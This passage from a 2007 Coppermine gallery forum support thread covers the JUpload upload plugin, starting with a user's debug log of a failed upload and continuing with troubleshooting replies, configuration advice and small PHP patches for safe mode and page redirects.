19:25:41.841 [DEBUG] localBufferedImage.getColorModel(): ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@5bcd91 transparency = 1 has alpha = false isAlphaPre = false
19:25:41.921 [DEBUG] freeMemory (after end of getBufferedImage) : 42526936
19:25:41.922 [DEBUG] bufferedImage MinX (BufferedImage@1b1ff47: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@5bcd91 transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 1536 height = 2048 #numDataElements 3 dataOff[0] = 2): 0
19:25:41.924 [DEBUG] bufferedImage MinY (BufferedImage@1b1ff47: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@5bcd91 transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 1536 height = 2048 #numDataElements 3 dataOff[0] = 2): 0
19:25:41.924 [DEBUG] bufferedImage Width (BufferedImage@1b1ff47: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@5bcd91 transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 1536 height = 2048 #numDataElements 3 dataOff[0] = 2): 1536
19:25:41.925 [DEBUG] bufferedImage Height (BufferedImage@1b1ff47: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@5bcd91 transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 1536 height = 2048 #numDataElements 3 dataOff[0] = 2): 2048
19:25:41.932 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
19:25:41.932 [INFO] Start of metadata managing, for IMG_2295.JPG
19:25:42.073 [DEBUG] Found one image reader that can read metadata!
19:25:42.427 [DEBUG] freeMemory (after getTransformedPictureFile) : 33771688
19:25:42.427 [DEBUG] transformedPictureFile : jupload_16146.tmp
19:25:42.429 [DEBUG] file 0: content=805189 bytes, getAdditionnalBytesForUpload=829 bytes
19:25:42.429 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
19:25:42.431 [DEBUG] Cookie: coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiI5ZDM2NzQ3OGY2YWQ5NDUxZmJmNjA0ZDU2NjcyMDJlOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJpdGFsaWFuIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; 0844567864b6cb2a1ae024ca0edccea8=7fb27f0f5d66ce78c2929ef0af2d3cff
19:25:42.432 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9
19:25:42.466 [DEBUG] Using non SSL socket, direct connection
19:25:42.470 [DEBUG] === main header (len=1031):
19:25:42.470 [DEBUG] POST /coppermine/index.php?file=jupload/jupload&action=add_picture&album=2 HTTP/1.1\r\n
19:25:42.470 [DEBUG] Host: sanghino.freeweb7.com\r\n
19:25:42.470 [DEBUG] Accept: */*\r\n
19:25:42.470 [DEBUG] Accept-Encoding: identity\r\n
19:25:42.470 [DEBUG] Connection: close\r\n
19:25:42.470 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------haaf2i953lh\r\n
19:25:42.470 [DEBUG] Content-Length: 806420\r\n
19:25:42.470 [DEBUG] Cookie: coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiI5ZDM2NzQ3OGY2YWQ5NDUxZmJmNjA0ZDU2NjcyMDJlOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJpdGFsaWFuIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; 0844567864b6cb2a1ae024ca0edccea8=7fb27f0f5d66ce78c2929ef0af2d3cff\r\n
19:25:42.470 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n
19:25:42.470 [DEBUG] \r\n
19:25:42.470 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.470 [DEBUG] Content-Disposition: form-data; name="file"\r\n
19:25:42.470 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
19:25:42.470 [DEBUG] \r\n
19:25:42.470 [DEBUG] jupload/jupload\r\n
19:25:42.470 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.470 [DEBUG] Content-Disposition: form-data; name="album"\r\n
19:25:42.470 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
19:25:42.470 [DEBUG] \r\n
19:25:42.470 [DEBUG] 2\r\n
19:25:42.470 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.470 [DEBUG] Content-Disposition: form-data; name="action"\r\n
19:25:42.470 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
19:25:42.470 [DEBUG] \r\n
19:25:42.470 [DEBUG] add_picture\r\n
19:25:42.471 [DEBUG] === main header end
19:25:42.472 [DEBUG] --- fileheader start (len=623):
19:25:42.473 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.473 [DEBUG] Content-Disposition: form-data; name="mimetype[]"\r\n
19:25:42.473 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
19:25:42.473 [DEBUG] \r\n
19:25:42.473 [DEBUG] image/jpeg\r\n
19:25:42.473 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.473 [DEBUG] Content-Disposition: form-data; name="pathinfo[]"\r\n
19:25:42.473 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
19:25:42.473 [DEBUG] \r\n
19:25:42.473 [DEBUG] C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\r\n
19:25:42.473 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.473 [DEBUG] Content-Disposition: form-data; name="relpathinfo[]"\r\n
19:25:42.473 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
19:25:42.473 [DEBUG] \r\n
19:25:42.473 [DEBUG] \r\n
19:25:42.473 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.473 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="IMG_2295.JPG"\r\n
19:25:42.473 [DEBUG] Content-Type: image/jpeg\r\n
19:25:42.473 [DEBUG] \r\n
19:25:42.473 [DEBUG] --- fileheader end
19:25:42.477 [DEBUG] in UploadFileData.uploadFile (amount:805189, getUploadLength(): 805189)
19:25:42.746 [DEBUG] --- filetail start (len=206):
19:25:42.746 [DEBUG] \r\n
19:25:42.746 [DEBUG] -----------------------------haaf2i953lh\r\n
19:25:42.746 [DEBUG] Content-Disposition: form-data; name="md5sum[]"\r\n
19:25:42.746 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
19:25:42.746 [DEBUG] \r\n
19:25:42.746 [DEBUG] 8f1c0d7a6877156ca4a8d0f741621667\r\n
19:25:42.746 [DEBUG] -----------------------------haaf2i953lh--\r\n
19:25:42.747 [DEBUG] --- filetail end
19:26:31.802 [DEBUG] -------- Response Headers Start --------
19:26:31.803 [DEBUG] HTTP/1.1 200 OK
19:26:31.804 [DEBUG] Date: Tue, 20 Nov 2007 18:25:54 GMT
19:26:31.804 [DEBUG] Server: Apache
19:26:31.805 [DEBUG] X-Powered-By: PHP/5.1.6
19:26:31.806 [DEBUG] Connection: close
19:26:31.806 [DEBUG] Transfer-Encoding: chunked
19:26:31.808 [DEBUG] Content-Type: text/html
19:26:31.808 [DEBUG]
19:26:31.809 [DEBUG] --------- Response Headers End ---------
19:26:31.810 [DEBUG] Chunk: de dec: 222
19:26:31.812 [DEBUG] Chunk: 0 dec: 0
19:26:31.813 [DEBUG] HTTP status: 200 OK
19:26:31.814 [DEBUG] -------- Response Body Start --------
19:26:31.815 [DEBUG] <br />
19:26:31.815 [DEBUG] <b>Fatal error</b>:  Allowed memory size of 16777216 bytes exhausted (tried to allocate 276380 bytes) in <b>/www/freeweb7.com/s/a/n/sanghino/htdocs/coppermine/include/functions.inc.php</b> on line <b>2040</b><br />
19:26:31.815 [DEBUG] --------- Response Body End ---------
19:26:34.535 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
19:26:34.536 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
19:26:34.536 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:600)
19:26:34.536 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
19:26:34.536 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
19:26:34.536 [DEBUG] FileUploadThread: within run().finally
19:26:34.537 [WARN] Temporary file not deleted
19:26:41.458 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
19:26:41.461 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
, i've also tried to upload manually that image but nothing happens (never a error message and the image isn't uploaded).
I try to set max image size in pixel (in the configuration of coppermine (Max width or height for uploaded pictures (pixels))) to 2048 pixel, 1600 pixel and 1024 pixel and the output of jupload is always the same of above.
i've also see my php settings in phpinfo tools of coppermine admin tool and the upload_max_filesize limit is 2 mb and also the post_max_size is 2mb and the memory limit is 16mb; is the problem related to this settings? thanks in advance!!!
Title: Re: Upload applet (JUpload)
Post by: erostew on November 21, 2007, 12:05:06 am
Quote
Allowed memory size of 16777216 bytes exhausted (tried to allocate 276380 bytes) in /www/freeweb7.com/s/a/n/sanghino/htdocs/coppermine/include/functions.inc.php on line 2040

This isn't a JUpload problem. You posted this in the wrong place.

You don't have enough memory available on the server for the thumb/intermediate pic to be generated after upload.

Your server simply needs more memory allotted to php. Since you are using a free webhost you probably won't be able to use coppermine at all except through ftp, because it's not likely a freehost will allow more memory for you to use. About the only thing you will be able to do is upload thumbs, fullsize and intermediate pics by ftp and use batch add to put them in albums.
Title: Re: Upload applet (JUpload)
Post by: dfmartins on November 21, 2007, 04:54:20 am
ANother member mentioned that did 216 uploads at opnce... just so I know what this plugin can do... how large are the files you used on this upload!? Do you use any setting to make files smaller for the upload or not? I just upgraded the jupload to latest version 2.6.4 and keeds happening the same.

When I upload a large amount of pics (more than 100 pics) around 600kb each, jupload works fine. But if I try 30 or 40 files at 2.5mb each... I start having trouble.

Need to get this thing working 100% for a PhotoLab... But I feel insecure with these kinda problem since I cannot find the source for the issue.

Also, what is the seeting to have the JUPLOAD resize the files before uploading them!? Because my files are resized but they take long time to be uploaded as they were at normal size. It seems that it gets resized after the upload! What are th esetting to make it work right, cuz I tried following the manual... but no success.
Title: Re: Upload applet (JUpload)
Post by: sanghino on November 21, 2007, 09:25:21 am
thanks for the answer  :)
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 21, 2007, 01:23:52 pm
After uploading the files, it takes you to the 'Edit files' section, where you can fill in the Describtion keywords and custom fields, I would love to see a feature that would allow me to type in this information one place, to then have it added to all the pictures i just uploaded. The reason for this is because some of my custom fields are photographer and location, something that in my case is the same for each bulk i upload.

Added to my todo list
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 21, 2007, 01:34:27 pm
ANother member mentioned that did 216 uploads at opnce... just so I know what this plugin can do... how large are the files you used on this upload!? Do you use any setting to make files smaller for the upload or not? I just upgraded the jupload to latest version 2.6.4 and keeds happening the same.

When I upload a large amount of pics (more than 100 pics) around 600kb each, jupload works fine. But if I try 30 or 40 files at 2.5mb each... I start having trouble.

Need to get this thing working 100% for a PhotoLab... But I feel insecure with these kinda problem since I cannot find the source for the issue.

Also, what is the seeting to have the JUPLOAD resize the files before uploading them!? Because my files are resized but they take long time to be uploaded as they were at normal size. It seems that it gets resized after the upload! What are th esetting to make it work right, cuz I tried following the manual... but no success.

What is your problem exactly ?  Your mail is not clear. Here is my understanding, and my answers to these points:

1) Uploading a lot of files works Ok, if they are not too big.

2) Upload a lot of files is KO, if they are too big.
What means KO ?  What happens ?

3) You want to know what's happening in the applet ? Please first read the given doc, including explanation on the plugin configuration page. You should find your answer there.
FYI: resizing can occur at two places:
- In the applet, before upload (see the plugin configuration parameters)
- In the web server, like in standard upload, according to the gallery parameters.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 21, 2007, 02:31:13 pm
Hey,
I have problems with JUpload and I don't understand why.

My debug log is too big to post it here so I put it on the end of this thread!

I hope you can help me. Thanks!


Works the same for me    :-\

After a profound memory analysis ...  : I remember I did something else on my demo site : I removed all existing files in the plugins/jupload directory.

  Can you try this :
- Remove all files and directory behing plugins/jupload
- Re-install the JUpload plugin.

Etienne

 
Title: Re: Upload applet (JUpload)
Post by: erostew on November 21, 2007, 06:21:57 pm
ANother member mentioned that did 216 uploads at opnce... just so I know what this plugin can do... how large are the files you used on this upload!? Do you use any setting to make files smaller for the upload or not? I just upgraded the jupload to latest version 2.6.4 and keeds happening the same.

When I upload a large amount of pics (more than 100 pics) around 600kb each, jupload works fine. But if I try 30 or 40 files at 2.5mb each... I start having trouble.

Need to get this thing working 100% for a PhotoLab... But I feel insecure with these kinda problem since I cannot find the source for the issue.

Also, what is the seeting to have the JUPLOAD resize the files before uploading them!? Because my files are resized but they take long time to be uploaded as they were at normal size. It seems that it gets resized after the upload! What are th esetting to make it work right, cuz I tried following the manual... but no success.

As Etienne mentioned, you need to read the manual for correct settings. It's quite clear what settings to change.

I have used JUpload for uploading over 400 photos at a time, of app. 3.5mb each. They were resized before upload and I had no problems at all. If you are having the pics resized after upload it will be much slower, simply because of the size of the files. It takes longer to upload and the photo gets resized and the thumb and intermediate pics are created before it starts uploading the next photo. And resizing the fullsize pic can also strain the resources on the server quite a lot. Which slows things down even more.
Title: Re: Upload applet (JUpload)
Post by: sanghino on November 21, 2007, 07:46:26 pm
Quote
I have used JUpload for uploading over 400 photos at a time, of app. 3.5mb each. They were resized before upload and I had no problems at all.
ok i want to use jupload in the same way of you, can you tell me your settings? in particular

in coppermine configuration

Create intermediate pictures
Max width or height of an intermediate picture/video
Max size for uploaded files (KB)
Max width or height for uploaded pictures (pixels)
Auto resize images that are larger than max width or height

in jupload configuration

maxChunkSize
maxFileSize
maxNonTransformedPictureSize

thanks in advance
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 21, 2007, 08:16:29 pm
Added to my todo list

Thanks, I really love your work.
Title: Re: Upload applet (JUpload)
Post by: will on November 21, 2007, 08:21:29 pm
I've recently moved my Upload link from my SYS MENU to my SUB MENU but now I have lost the JUpload link, I've tried reinstalling it but no luck, is there anyway of making it show again without moving the Upload link back ;)
Title: Re: Upload applet (JUpload)
Post by: jesusarmy on November 22, 2007, 11:31:44 am
On my site, JUpload creates a user directory but is unable to put any files in it. I strongly suspect this is to do with silly_safe_mode, which I have enabled and which normally forces all uploaded files into the same directory.

Am I right in concluding therefore that JUpload doesn't cooperate with the silly_safe_mode flag?

Title: Re: Upload applet (JUpload)
Post by: erostew on November 22, 2007, 04:46:19 pm
On my site, JUpload creates a user directory but is unable to put any files in it. I strongly suspect this is to do with silly_safe_mode, which I have enabled and which normally forces all uploaded files into the same directory.

Am I right in concluding therefore that JUpload doesn't cooperate with the silly_safe_mode flag?


If you're using silly_safe_mode that means you are using cpg 1.5alpha
JUpload is written for 1.4 so of course it doesn't support a 1.5 feature. There is no support on this board for cpg1.5.
Title: Re: Upload applet (JUpload)
Post by: erostew on November 22, 2007, 04:55:05 pm
I've recently moved my Upload link from my SYS MENU to my SUB MENU but now I have lost the JUpload link, I've tried reinstalling it but no luck, is there anyway of making it show again without moving the Upload link back ;)
JUpload is probably looking for the upload button entry on the sys menu so it can place it's own button after it. If it doesn't find it... no JUpload button. You can probably add the Upload button back to the sys menu and then use the final extract plugin to disable it. Should work after that.
Title: Re: Upload applet (JUpload)
Post by: erostew on November 22, 2007, 05:03:10 pm
ok i want to use jupload in the same way of you, can you tell me your settings? in particular

in coppermine configuration

Create intermediate pictures
Max width or height of an intermediate picture/video
Max size for uploaded files (KB)
Max width or height for uploaded pictures (pixels)
Auto resize images that are larger than max width or height

in jupload configuration

maxChunkSize
maxFileSize
maxNonTransformedPictureSize

thanks in advance

My settings won't help you. I have different settings for php.ini on my server with more memory, etc. You can set max width/height to whatever you want and it won't help if you don't have enough memory. I don't have anything set for maxChunk or maxFile and maxTransformed is set to the same as I have in my coppermine config. Auto-resize is on. Filesizes depend on what you are allowed on your own server.

I suggest you ask for support in the correct place and get your normal upload working first., before trying to use JUpload.
Title: Re: Upload applet (JUpload)
Post by: sanghino on November 22, 2007, 05:53:23 pm
sorry for the inconvenience
Title: Re: Upload applet (JUpload)
Post by: jesusarmy on November 22, 2007, 07:07:45 pm
If you're using silly_safe_mode that means you are using cpg 1.5alpha
JUpload is written for 1.4 so of course it doesn't support a 1.5 feature. There is no support on this board for cpg1.5.

As far as I know, I am using 1.4.14, the documents for which say:
Quote
2.4 Safe mode issues
A significant number of webhosts on the Internet run PHP in safe mode. Coppermine runs without any problem in safe mode and with the "open basedir restriction" active, provided safe mode is properly configured. Unfortunately, on many hosts, safe mode is not configured properly.

If your webhost is running PHP in safe mode but is misconfigured, you may need to do the following :

With a FTP program, change the mode of Coppermine's "include" directory on your server to 0777.
Do the same for the "albums" and "userpics" directories.
Check that at the beginning the the "include/config.inc.php" file, you have a line with : "define('SILLY_SAFE_MODE', 1);"

I have done that, and I took that as meaning that it is running in silly_safe_mode.

Anyone able to answer my original question?


Title: Re: Upload applet (JUpload)
Post by: erostew on November 23, 2007, 09:25:26 am
As far as I know, I am using 1.4.14, the documents for which say:
I have done that, and I took that as meaning that it is running in silly_safe_mode.

Anyone able to answer my original question?
Ah sorry for that. Wasn't familiar with silly_safe_mode being in 1.4 because there is no option for it in the admin config. I guess they just made it easier to set in 1.5.

JUpload creates a folder for each album inside the userpics directory. I'm not 100% sure but I think it's hardcoded. You might want to check if the directory is being created with chmod 777 as it should be. Make sure that your "config/Files and thumbnails advanced settings/Default mode for directories" is set to 0777. If the folder is being created but isn't set with the correct permissions that is probably the cause of your problem. If the CPG config is set to use 0777, but JUpload isn't creating the directories with those permissions, it probably does have something to do with safe mode. There are some servers that might require 755 so you could also try that.

I assume that you had to use silly_safe_mode to get CPG to work at all, but if not... Have you tried setting it to 0?
Title: Re: Upload applet (JUpload)
Post by: jesusarmy on November 23, 2007, 01:30:16 pm
As far as I can tell, the installation automatically checked that silly_safe_mode was required when it wrote the config file. I know that it is needed on my server from my experience with other scripts.

When is needed is for JUpload to check if silly_safe_mode is set and then place the files accordingly, that is into one directory only. If that needs a change in the java applet code, then it is beyond me.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 24, 2007, 03:47:56 pm
On my site, JUpload creates a user directory but is unable to put any files in it. I strongly suspect this is to do with silly_safe_mode, which I have enabled and which normally forces all uploaded files into the same directory.

Am I right in concluding therefore that JUpload doesn't cooperate with the silly_safe_mode flag?

Let's say ...  you're now wrong !
 ;)


In previous releases, Jupload stored the configuration in a file, in the user directory. This was probably not compatible with the silly_safe mode.
Now, the configuration is stored in the Coppermine main configuration table (that is: in the database). You should not encounter any problem with the last version.

A note about saf_mode :
- The plugin (PHP part) tries to put files in one directory per album per user. This guaranties that the number of files in subdirectories is small enough. Very important for performances.
- In safe_mode this is not possible. So, in the current version, having too much pictures in the gallery may generate performance troubles, when accessing to picture files. Say, more than 50 000 pictures in a site. Remember: this is only if safe_mode is active. I guess standard upload has the same problem. In this case, FTP upload is a good way to work, as you can upload to new directories.


Etienne
Title: Re: Upload applet (JUpload)
Post by: choupette549 on November 25, 2007, 04:58:10 pm
Hi Etienne,


I come back to mention you a great news.
I had an error and could not use the applet with IE7 and Windows Vista.
So I was running version 2.4.4 and could not use the improvements that you did on your applet.

Today, I installed de latest version of Java, version 6 update 3 with
the latest version of your plugin, 2.6.4, and it works great !
There seems to be no error anymore.

This week, I will make a lot of tests and give you feed back.


Again, thanks a lot for your great applet.


Quentin
Title: Re: Upload applet (JUpload)
Post by: dolomites on November 25, 2007, 11:59:28 pm
I have seen that after uploading, in the "edit uploaded files" page, if I click "apply changes" data is saved but the same page is reloaded, why?

I resolved this problem modifying the "edit_uploaded_files.php" in the line

Code: [Select]
$message_update_status = "alert('" . prepare_js_string($lang_picinfo['success']) . "');";
to

Code: [Select]
$message_update_status = "alert('" . prepare_js_string($lang_picinfo['success']) . "'); [b]document.location.replace('index.php');[/b]";
Title: Re: Upload applet (JUpload)
Post by: jesusarmy on November 26, 2007, 04:35:29 pm
Let's say ...  you're now wrong !

Thanks for your helpful reply, which was all I needed to track down the problem.

In which case, there is a bug in j_picmgmt.inc.php.

Find
Code: [Select]
//mkdir will probably fail in safe_mode. But, let's give it a try. We mask the error, in case of ...
@mkdir($dest_dir_jupload, octdec($CONFIG['default_dir_mode']));

after, insert
Code: [Select]
if (!defined('SILLY_SAFE_MODE')) {

and find (a few lines later)
Code: [Select]
//We'll use the newly created directory for next statements.
$dest_dir = $dest_dir_jupload;
$filepath = $filepath_jupload;
}

and insert afterwards
Code: [Select]
}

The problem is that safe mode may allow your script to create directories, but not to write to them. That's why it's silly.

It now works for me.

Title: Re: Upload applet (JUpload)
Post by: jesusarmy on November 26, 2007, 06:05:03 pm
I resolved this problem modifying the "edit_uploaded_files.php" in the line

Code: [Select]
$message_update_status = "alert('" . prepare_js_string($lang_picinfo['success']) . "');";
to

Code: [Select]
$message_update_status = "alert('" . prepare_js_string($lang_picinfo['success']) . "'); [b]document.location.replace('index.php');[/b]";

Almost certainly, that should read:

to

Code: [Select]
$message_update_status = "alert('" . prepare_js_string($lang_picinfo['success']) . "'); document.location.replace('index.php');";
Title: Re: Upload applet (JUpload)
Post by: dolomites on November 26, 2007, 11:59:56 pm
b was for underline the change, but in this forum in code mode b doesn't work :)
Title: Re: Upload applet (JUpload)
Post by: mrsleep99 on November 28, 2007, 03:08:22 am
First I'd just like to say, AMAZING plugin, this should come standard with CPG, it's just great!!

I have a few questions though.

I'm interested in changing all the instances of "pictures" in the upload applet to "files" (I'm not saying my users are stupid, but this will seriously throw them off when they read they are supposed to be uploading PICTURES and not necessarily FILES as well), is this possible? I can go through code and change whatever is necessary, it'd save me a lot of headaches in the future!

Also, when I installed the plugin my normal "Upload" button appeared and I have the "JUpload" button beneath it...can I fix this so it's just "Upload"?

Thank you so much for any help you can offer!!   ;D ;D
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 28, 2007, 10:10:49 am
Also, when I installed the plugin my normal "Upload" button appeared and I have the "JUpload" button beneath it...can I fix this so it's just "Upload"?

Goto plugin management and the Jupload settings, there you should find the option to replace the normal upload with jupload.
Config - General Setting - Manage Plugin - Jupload Configuration - Change 'linkKeepStandardUpload' to 0.

To change the title of the (j)upload button, edit /plugins/jupload/lang/english.php (or your prefered language file) at the top, you'll find 'link_title', edit this your your prefered title. If you browse through this language file, you will also find all the other text displayed to the user, including the words 'pictures' that you can replace with 'files'.

Hope this helps you.

Kind Regards
Cirno
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 28, 2007, 01:40:05 pm
I have seen that after uploading, in the "edit uploaded files" page, if I click "apply changes" data is saved but the same page is reloaded, why?

Because
 :D


You can then update the page again...

  I think it works the same as the original editpic page.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 28, 2007, 01:58:19 pm
Thanks for your helpful reply, which was all I needed to track down the problem.

In which case, there is a bug in j_picmgmt.inc.php.

Find
<Cut>

The problem is that safe mode may allow your script to create directories, but not to write to them. That's why it's silly.

It now works for me.

GREAT !!!      :)

  I reported your patch on my current version.

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 28, 2007, 02:11:47 pm
Hi again.

Do you have an estimated time of arrival on a new version or patch for my requested feature?

I don't like to nag or anything, since I really love the applet, but is there anything i can do, or offer to speed things up?

Kind Regards
Cirno
Title: Re: Upload applet (JUpload)
Post by: mrsleep99 on November 28, 2007, 06:14:44 pm
Thank you Cirno!!
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 28, 2007, 07:58:57 pm
I'm interested in changing all the instances of "pictures" in the upload applet to "files" (I'm not saying my users are stupid, but this will seriously throw them off when they read they are supposed to be uploading PICTURES and not necessarily FILES as well), is this possible? I can go through code and change whatever is necessary, it'd save me a lot of headaches in the future!

  You'll have to change the applet itself...
You can get it here:
http://jupload.sourceforge.net


Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 28, 2007, 08:00:34 pm
Do you have an estimated time of arrival on a new version or patch for my requested feature?

No precise idea

  I'm really busy at work these days... and it may be some weeks long


If you want to propose a patch, you're welcome...

Etienne


Title: Re: Upload applet (JUpload)
Post by: mrsleep99 on November 28, 2007, 10:47:52 pm
 :-X
What about altering the text in the pop ups that confirm the uploads, etc?
Thank you!!
Title: Re: Upload applet (JUpload)
Post by: AWJunkies on November 29, 2007, 12:37:55 am
Can i get a test URL and login info?

I have Jupload mod working since back in 05 and curious to see this plugin style one. I even was about to update the old mod but why bother if this is better and easier. I am not sure how yours functions all around with the coppermine so would like to test it out.
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 29, 2007, 04:07:42 pm
Im running the software on my testserver atm, for educational purpose for myself, anon uploads are allowed, but needs approval, you could also register an account to get full access to every feature.

www.stvg.net

Can i get a test URL and login info?

I have Jupload mod working since back in 05 and curious to see this plugin style one. I even was about to update the old mod but why bother if this is better and easier. I am not sure how yours functions all around with the coppermine so would like to test it out.
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 29, 2007, 04:24:44 pm
:-X
What about altering the text in the pop ups that confirm the uploads, etc?
Thank you!!

Did a couple of fast checks, and it changes with your language settings, meaning it should be located in one of the language files somewhere in the installation. But I couldn't seem to find it, so might be wrong.

I'll do a few more checks when i get home and have better time.
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 29, 2007, 04:26:30 pm
Would love to help out and do so, the problem is, I'm not a java man. If you can somehow point me in the right direction, I'll have a mate take a look at it though.

No precise idea

  I'm really busy at work these days... and it may be some weeks long


If you want to propose a patch, you're welcome...

Etienne



Title: Re: Upload applet (JUpload)
Post by: Nibbler on November 29, 2007, 04:47:15 pm
First of all, I have to say thank you for a very good plugin that makes Coppermine a much better product in total.

I really love the jupload plugin, but I am missing one feature that would make it all perfect.

After uploading the files, it takes you to the 'Edit files' section, where you can fill in the Describtion keywords and custom fields, I would love to see a feature that would allow me to type in this information one place, to then have it added to all the pictures i just uploaded. The reason for this is because some of my custom fields are photographer and location, something that in my case is the same for each bulk i upload.

Is there any chance to get such a feature in a future version?

Best regards
Cirno

Does http://forum.coppermine-gallery.net/index.php?topic=47112.0 help ?
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 29, 2007, 08:59:24 pm
Thank you Nibbler! This is what I'm looking for..

Now I just need to somehow get that code merged with the edit_uploaded_pics.php that comes with jUpload.

Hopefully I can manage this myself.
Title: Re: Upload applet (JUpload)
Post by: mrsleep99 on November 30, 2007, 12:03:59 am
Hey Cirno just FYI I just did a "Find all" on all lang files and there's nothing I could find.
Title: Re: Upload applet (JUpload)
Post by: AWJunkies on November 30, 2007, 02:20:43 am
Thanks for the test info.

I will see back end now by downloading fresh install and the plugin.

To be honest I am not sure I like this setup but will decide once I see back end.

Maybe I am to biased because I have been using my system since 04 or 05 (2-3 years)

I DO appreciate the coders dedication to coppermine and making this mod I know it is a lot of work. Great job for the user to easily install and work.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on December 02, 2007, 07:08:54 pm
:-X
What about altering the text in the pop ups that confirm the uploads, etc?
Thank you!!

If my understanding is correct: the applet now shows 'files', and you to replace it by 'pictures' ?

  If yes, as I already answered, you can take the applet sources in http://jupload.sourceforge.net (http://jupload.sourceforge.net), and change it yourself. These text are already translated in several languages, and for a lot of users. So I don't want to change them.

Correct ?
Etienne

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: mirtil on December 06, 2007, 01:10:52 pm
Hi,

This plugin is just all what I need !

I have a question :
I don't have any categories in my coppermine, only albums. But I must specify one to upload with this applet or I can just update existing albums, not create a new one.
Do you know how to upload without categories ?

Thanks,
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Sami on December 06, 2007, 02:40:49 pm
Persian Language attached  ;D
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: erostew on December 06, 2007, 04:48:32 pm
Hi,

This plugin is just all what I need !

I have a question :
I don't have any categories in my coppermine, only albums. But I must specify one to upload with this applet or I can just update existing albums, not create a new one.
Do you know how to upload without categories ?
Try going back one version of the applet.
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 07, 2007, 10:25:47 pm
Try going back one version of the applet.

Excellent !

  So it was not a bug, but a feature !
 :D

Actually, you should have a default category selected: your personal album. If not, there is a bug.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 07, 2007, 10:29:38 pm
Persian Language attached  ;D

Thanks Sami,

  I'll add it to my next version.

Please note: it may take some time: I'm working on Cirno's wish. And it implies an important rewriting of the internal applet code.

Adding parameters coming from an HTML was just an existing gapplet parameter to use. But string encoding was not correct. So applet will properly respect, but all HTTP writing and reading is to update.

Regards
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 10, 2007, 01:13:50 pm
